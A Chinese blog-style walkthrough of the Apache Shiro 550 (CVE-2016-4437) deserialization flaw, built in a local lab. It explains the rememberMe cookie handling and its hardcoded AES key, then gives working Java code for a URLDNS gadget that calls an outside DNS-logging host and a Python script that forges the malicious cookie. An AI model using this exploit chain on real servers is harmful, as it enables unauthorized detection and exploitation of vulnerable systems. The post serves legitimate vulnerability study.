Shiro550漏洞(CVE-2016-4437)

介绍

Apache Shiro 是一个强大易用的 Java 安全框架,提供了认证、授权、加密和会话管理等功能。Shiro 框架直观、易用,同时也能提供健壮的安全性。

漏洞影响版本

Shiro <= 1.2.4

环境搭建

jdk:1.8.0_372

Tomcat8

这里我用的是 p 神的环境 https://github.com/phith0n/JavaThings/tree/master/shirodemo

首先用 idea 打开项目

配置好 Maven ,确保依赖没有任何问题后,下载 Tomcat

这里我用的是 idea 社区版,需要在 idea 插件市场下载一个 Tomcat 插件

在这里插入图片描述

配置如下

在这里插入图片描述

接着点击运行

在这里插入图片描述
在这里插入图片描述

账号密码是 root/secret

漏洞分析

勾选 remember me 字段,如果账号密码正确,会在返回包里面包含 rememberMe=deleteMe 字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

在这里插入图片描述

从代码审计和漏洞发现者的角度分析问题,我们搭建该项目,抓包,发现包里携带 cookie,很明显是经过某种加密的结果,所以我们需要去代码里面寻找与 cookie 处理相关的代码。

我们在知晓 Shiro 的加密过程之后,可以人为构造恶意的 Cookie 参数,从而实现命令执行的目的。

我们直接双击 shift 寻找 Cookie 相关的类和方法

在这里插入图片描述

最后我们找到的是 CookieRememberMeManager 类,明显是与 cookie 相关的。

接着我们看到这个类的内部有一个 getCookie() 方法,我们在这里下断点进行调试。

在这里插入图片描述

我们发送数据包进行分析

在这里插入图片描述

我们走到了 getRememberedSerializedIdentity() 方法里面

在这里插入图片描述

这里可以看出,传进去的 cookie 值,传到了 base64 变量里。

在这里插入图片描述

这里先判断 base64 变量的值是不是 deleteMe ,这里很明显不是。然后会通过函数 ensurePadding 进行 base64 填充,然后会通过 base64 解码,赋值给 byte[] decoded,最后返回 decoded

在这里插入图片描述

返回的内容会赋值给 byte[] bytes,也就是说现在的变量 bytes 就是存放的 base64 解码后的 cookie

在这里插入图片描述

接着走,发现会调用 convertBytesToPrincipals() 函数,将 bytes 作为一个参数传进去

在这里插入图片描述

如果加密服务存在,就通过 this.decrypt() 函数对 bytes 进行解密;

在这里插入图片描述

加密服务存在,看下加密服务信息,发现使用的就是 AES 的 CBC 模式加密,填充模式为 PKCS5Padding

在这里插入图片描述

接着跟进去看看解密函数 decrypt()

在这里插入图片描述

可以看到,第 167 行的 decrypt() 函数,有两个参数,第一个是 base64 解码后的内容,第二个是 getDecryptionCipherKey() 函数,该函数有什么作用呢?

发现该函数返回一个 decryptionCipherKey

在这里插入图片描述

那么这个 decryptionCipherKey 是个什么东西呢?

我们看看谁调用了。

首先发现他是一个变量

在这里插入图片描述

接着看看都有谁调用了这个变量

在这里插入图片描述

首先是 setDecryptionCipherKey() 调用了,有点莫名其妙,再看看谁调用了 setDecryptionCipherKey()

在这里插入图片描述

发现是 setCipherKey() 方法,该方法接受一个 byte 类型的变量

再看看是谁调用了 setCipherKey() 方法,可知是 AbstractRememberMeManager() 方法

在这里插入图片描述

该方法里面,我们跟进去发现它的一个常量,是一个固定的值(kPH+bIxk5D2deZiIxcaaaA== )。

在这里插入图片描述

现在很清晰了,一整条寻找的思路如下图所示,也就是说:this.decryptionCipherKey 就是默认 key kPH+bIxk5D2deZiIxcaaaA== 的 base64 解码的值,也就是密钥。

在这里插入图片描述

返回密钥后进入解密函数 cipherService.decrypt()

在这里插入图片描述

大家都知道 AES 解密除了密钥还需要一个偏移量 IV,之前一直没给出来,所以应该也是在解密函数里面,跟进,跟几步就能看到 IV,字节是 16 个 0,翻译过来就是 ' '*16

在这里插入图片描述

现在解密完成后,开始第二步了:

反序列化

在这里插入图片描述

把解密好的字节进行反序列化

在这里插入图片描述

反序列化调用 readObject() 位置

在这里插入图片描述

至此,我们分析完,我们传进去的 cookie 是怎么解密的了。

小结

shiro 在获取到 cookie 后会进行 base64 解码–>AES 解密(CBC 模式,PKCS5Padding,默认密钥为 kPH+bIxk5D2deZiIxcaaaA==)–> 反序列化。

总体来说分析起来还是很简单,简化一下就是

  • 首先在 CookieRememberMeManager.getRememberedSerializedIdentity 中进行 base64解码
  • 然后调用 AbstractRememberMeManager.convertBytesToPrincipals,其中包含了 AES 解密和反序列化

Shiro550 的根本原因:固定 key 加密,Shiro1.2.4 及之前的版本中,AES 加密的密钥默认硬编码在代码里(Shiro-550),Shiro 1.2.4 以上版本官方移除了代码中的默认密钥,要求开发者自己设置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。

漏洞利用

构造 poc 我们只需要反着来

  1. 生成序列化后的 poc
  2. aes 加密
  3. base64 加密

URLDNS

序列化 poc 如下:

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSEXP {
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
        // 这里不要发起请求
        URL url = new URL("http://thinqnoxeh.dnstunnel.run");
        Class c = url.getClass();
        Field hashcodefile = c.getDeclaredField("hashCode");
        hashcodefile.setAccessible(true);
        hashcodefile.set(url,1234);
        hashmap.put(url,1);
        // 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
        hashcodefile.set(url,-1);
        serialize(hashmap);
        //unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
//    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
//        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
//        Object obj = ois.readObject();
//        return obj;
//    }
}

加密脚本直接拿过来用了,将序列化得到的 ser.bin 放到之前写好的 python 脚本里面跑


from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES

def get_file_data(filename):
    with open(filename, 'rb') as f:
        data = f.read()
    return data

def aes_enc(data):
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = "kPH+bIxk5D2deZiIxcaaaA=="
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
    return ciphertext

# def aes_dec(enc_data):
#     enc_data = base64.b64decode(enc_data)
#     unpad = lambda s: s[:-s[-1]]
#     key = "kPH+bIxk5D2deZiIxcaaaA=="
#     mode = AES.MODE_CBC
#     iv = enc_data[:16]
#     encryptor = AES.new(base64.b64decode(key), mode, iv)
#     plaintext = encryptor.decrypt(enc_data[16:])
#     plaintext = unpad(plaintext)
#     return plaintext

if __name__ == "__main__":
    data = get_file_data("ser.bin")
    print(aes_enc(data))

python 加密生成的恶意 cookie 如下:

在这里插入图片描述

再将 python 加密出来的编码替换包中的 RememberMe Cookie,记着 JSESSIONID 删掉,因为当存在 JSESSIONID 时,会忽略 rememberMe。

在这里插入图片描述

在这里插入图片描述

其他链

未完待续

参考

Java 反序列化 Shiro 篇 01-Shiro550 流程分析 | Drunkbaby's Blog (drun1baby.top)

07.IDEA 远程调试 Shiro550 · d4m1ts 知识库 (gm7.org)

  • 18
    点赞
  • 21
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值